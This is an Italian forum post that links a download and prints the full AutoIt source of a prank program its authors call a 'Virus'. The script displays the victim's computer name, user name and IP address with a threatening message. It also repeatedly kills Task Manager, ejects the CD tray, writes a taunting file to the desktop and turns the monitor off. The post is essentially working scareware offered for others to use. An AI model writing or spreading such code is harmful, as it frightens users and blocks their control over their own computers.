No no è che bisogna copiare ed incollare l'indirizzo. l'url è questo: www . secretsite.altervista.org/phpbb/uploads/smileV2.rar
Bisogna copiarlo ed incollarlo.
CODICE
;Created by Crazy_Mauro / The_Black_dragon. http://www.secretsite.altervista.org/
#include <misc.au3>
#include <GUIConstants.au3>
#include <misc.au3>
#NoTrayIcon
If @OSVersion = "WIN_VISTA" Then
$OS = "Windows Vista"
ElseIf @OSVersion = "WIN_XP" Then
$OS = "Windows XP"
EndIf
$var = DriveGetDrive( "CDROM" )
;Finestra principale
$Form = GUICreate("Virus", 250, 300, "", "", $WS_EX_TRANSPARENT)
$Label = GUICtrlCreateLabel("Il tuo computer si chiama " & @ComputerName, 24, 25, 200, 100)
$Label2 = GUICtrlCreateLabel("Tu sei " & @UserName, 24, 50, 200, 100)
$Label3 = GUICtrlCreateLabel("E usi " & $OS, 24, 75, 200, 100)
$Label4 = GUICtrlCreateLabel("Il tuo indirizzo IP è " & @IPAddress1, 24, 100, 200, 100)
$Label5 = GUICtrlCreateLabel("Ora che ti ho preso tutti i dati hai due scelte: o premi 1 e verrà eseguito il primo virus, o premi 2 e verrà eseguito il secondo virus. In caso tu chiuda l'applicazione dal Task-Manager verranno eseguiti tutti e due i virus!", 24, 125, 200, 100)
$Button1 = GUICtrlCreateButton("1", 16, 220, 60, 33)
$Button2 = GUICtrlCreateButton("2", 115, 220, 60, 33)
GUISetState(@SW_SHOW)
;Azioni dei pulsanti della finestra principale
While 1 = 1
If ProcessExists("taskmgr.exe") Then
ProcessClose("taskmgr.exe")
MsgBox(64, "smileV2", "Non provarci!!")
EndIf
$Msg = GUIGetMsg()
Switch $Msg
Case $Button1
vir()
Sleep(10)
_Main()
Exit
Case $Button2
vir()
Sleep(10)
_Main()
Exit
EndSwitch
WEnd
;Funzione primaria (suono + apertuta/chiusura cdtray + Scrittura file txt)
Func vir()
Beep(800, 1000)
CDTray ($var, "open")
CDTray ($var, "close")
FileWrite(@DesktopDir & "\smile.txt", "Pauura eh??")
EndFunc
;Funzione secondaria (Oscuramento Display)
_Main()
Func _Main()
Local Const $Off = 2, $On = -1
Opt("WinTitleMatchMode", 4)
$hwnd = WinGetHandle('classname=Progman')
_ToggleMonitor($hWnd, $Off)
Sleep ( 5000 ) ;Tempo del monitor oscurato
_ToggleMonitor($hWnd, $On)
EndFunc
Func _ToggleMonitor($hwnd, $OnOff)
Local Const $WM_SYSCOMMAND = 274
Local Const $SC_MONITORPOWER = 61808
_SendMessage($hWnd, $WM_SYSCOMMAND, $SC_MONITORPOWER, $OnOff)
If @error Then
MsgBox(0,"_ToggleMonitor", "_SendMessage Error: " & @error)
Exit
EndIf
EndFunc
;Created by Crazy_Mauro / The_Black_dragon. http://www.secretsite.altervista.org/